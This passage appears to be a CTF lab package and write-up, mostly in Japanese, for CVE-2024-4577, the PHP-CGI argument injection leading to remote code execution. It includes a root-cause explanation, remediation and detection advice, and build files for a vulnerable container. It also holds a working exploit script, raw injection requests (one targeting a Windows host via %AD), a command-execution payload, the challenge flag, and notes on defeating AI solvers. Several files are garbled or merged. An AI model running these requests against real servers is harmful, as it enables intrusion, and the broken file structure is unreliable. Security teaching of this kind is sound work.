`<?php system('id; cat /flag.txt'); die(); ?>`。Apacheユーザー
(`www-data`)として実行され、OSコマンドを実行し、その出力を表示し、
`index.php` が実行される前に `die()` します。
6. **フラグの外部送信。** `system('cat /flag.txt')` は `/flag.txt`(`www-data` が
読み取り可能)を読み取り、HTTPレスポンスで返します。
### 脆弱性が存在する理由(より深い「なぜ」)
- **CGIは *引数* と *ユーザー入力* を混同します。** 1990年代のCGI規約で、
クエリ文字列を `argv` に変換する仕組みは `<ISINDEX>` 検索スクリプト用に
設計されました。`argv` が強力な設定スイッチである `php-cgi` のような
インタープリタにそれを向けるのはカテゴリエラーです:ユーザー制御のデータが
プログラム設定になります。
- **`-d` はリモートINIインジェクションです。** `php-cgi -d name=value` は
実行時に *任意の* INIディレクティブを上書きし、強化された `php.ini` さえも
上書きします。`auto_prepend_file` + `allow_url_include` + `php://input`
ラッパーが組み合わさって「リクエストボディの実行」、すなわちRCEになります。
- **CVE-2024-4577 が特に存在するのは**、CVE-2012-1823の修正が、Windowsが
**ベストフィットエンコーディング変換**を実行する *前に* クエリ文字列の先頭の
`-` をチェックするためです。攻撃者は `%AD`(ソフトハイフン)を送信します。
チェック実行時には `-` ではないためガードを通過しますが、Windowsは後で
ベストフィットマッピングで `0xAD → 0x2D (-)` を実行し、ゲートの後に `-` を
再導入します。**チェックしてから変換する順序** + ロケール依存の非可逆
エンコーディング = パッチバイパスです。
---
## 🛡️ このチャレンジが「フラグを推測するだけ」/ AIの近道に抵抗する理由
- フラグは **Webルートに存在せず**、`index.php` からも **参照されない**ため、
クローリング、ファジング、アプリソースの読み取りをどれだけ行っても
明らかになりません。
- **ロジックバックドアはありません**(`if (input === flag)` のようなものはない)ため、
ソルバーは比較を逆算できません — フラグは **実際のOSコマンド実行後**にのみ
プロセスのstdoutに現れます。
- 取得するには **実際の引数インジェクションエクスプロイトを実行する必要があります**:
`=` を `%3d` として正しくエンコードし、`-` をオプション区切り文字として維持し、
`php://input` を介してペイロードを配信します。いずれかのステップを間違えると、
フラグではなく無害なACMEページが返されます。
- トークンは **高エントロピーのランダム文字列**であり、推測可能な単語ではありません。
---
## 実世界での修復
- PHPを **≥ 8.3.8 / 8.2.20 / 8.1.29** に更新します。
- **PHPをCGIとして実行しないでください。** PHP-FPM / mod_phpを使用します。
- Windows/XAMPPでは、`php-cgi.exe` を公開する `ScriptAlias`/ハンドラマッピングを
削除します。クエリ文字列がエンコードされたソフトハイフンで始まるリクエストを
ブロックします。WAFでクエリ文字列内の `%AD` を拒否します。
- 検出:`%AD`、`auto_prepend_file`、`allow_url_include`、または `php://input` を
含むクエリ文字列を持つWebログ。
---
# 付録 — すべてのファイル(完全版)
以下は各ファイルの完全なソースであり、この単一ドキュメントは
完全に自己完結しています。
## `Dockerfile````dockerfile
# =============================================================================
# CVE-2024-4577 LAB — PHP-CGI argument injection -> Remote Code Execution
# Linux reproduction of the argument-injection primitive that CVE-2024-4577
# revives on Windows. (See README.md, section "Linux vs. Windows".)
#
# Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
# predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
# (-d ...) supplied through the HTTP query string. Apache hands the query
# string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
# auto_prepend_file=php://input -> RCE. This is the exact primitive that
# CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye
ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1
# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
apt-get update; \
apt-get install -y --no-install-recommends \
ca-certificates wget bzip2 xz-utils \
build-essential pkg-config autoconf \
libxml2-dev \
apache2; \
rm -rf /var/lib/apt/lists/*
# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
# CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
# linking of old PHP's tentative-definition globals.
# touch <files> : keep the tarball's PRE-GENERATED parser/scanner files
# newer than their .y/.l sources so `make` never invokes
# bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
cd /usr/src; \
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
tar -xf php.tar; \
cd "php-${PHP_VERSION}"; \
for f in \
Zend/zend_language_parser.c Zend/zend_language_parser.h \
Zend/zend_language_scanner.c \
Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
Zend/zend_ini_scanner.c \
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
if [ -f "$f" ]; then touch "$f"; fi; \
done; \
CFLAGS="-O2 -fcommon" ./configure \
--enable-cgi \
--disable-all \
--without-pear; \
make -j"$(nproc)"; \
make install; \
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
chmod 0755 /usr/lib/cgi-bin/php-cgi; \
/usr/local/bin/php-cgi -v; \
cd /; rm -rf /usr/src/php*
# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini /usr/local/lib/php.ini
COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN set -eux; \
a2dismod mpm_event mpm_worker || true; \
a2enmod mpm_prefork cgi actions alias; \
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
a2enconf servername
# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]
FROM vulhub/php:5.4.1-cgi
COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with: docker compose up --build
services:
web:
build:
context: .
dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails
image: cve-2024-4577-lab:latest
container_name: cve-2024-4577-lab
ports:
- "8080:80" # host 8080 -> container 80
restart: unless-stopped
<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG: Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject -d <ini>=<value> straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
Options +ExecCGI FollowSymLinks
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php-cgi
DirectoryIndex index.php
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1
display_errors = On display_startup_errors = On log_errors = On
; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off
short_open_tag = On
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
# Container entrypoint: start Apache (with the vulnerable php-cgi) in the
# foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e
# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars
mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"
echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="
exec apache2 -D FOREGROUND
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
BODY=""
echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"
curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"
echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php — an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ACME Internal Status Portal</title>
<style>
body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
.ok{color:#2a7f2a;font-weight:bold}
</style>
</head>
<body>
<h1>ACME Internal Status Portal</h1>
<p>Service status: <span class="ok">ONLINE</span></p>
<ul>
<li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
<li>PHP version: <code><?php echo phpversion(); ?></code></li>
<li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
<li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
</ul>
<p>Everything looks fine here. Nothing to see. 😊</p>
</body>
</html>
###############################################################################
###############################################################################
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
sapi/cgi/cgi_main.c)。認可されたセキュリティ教育 / CTF 用途に限ります。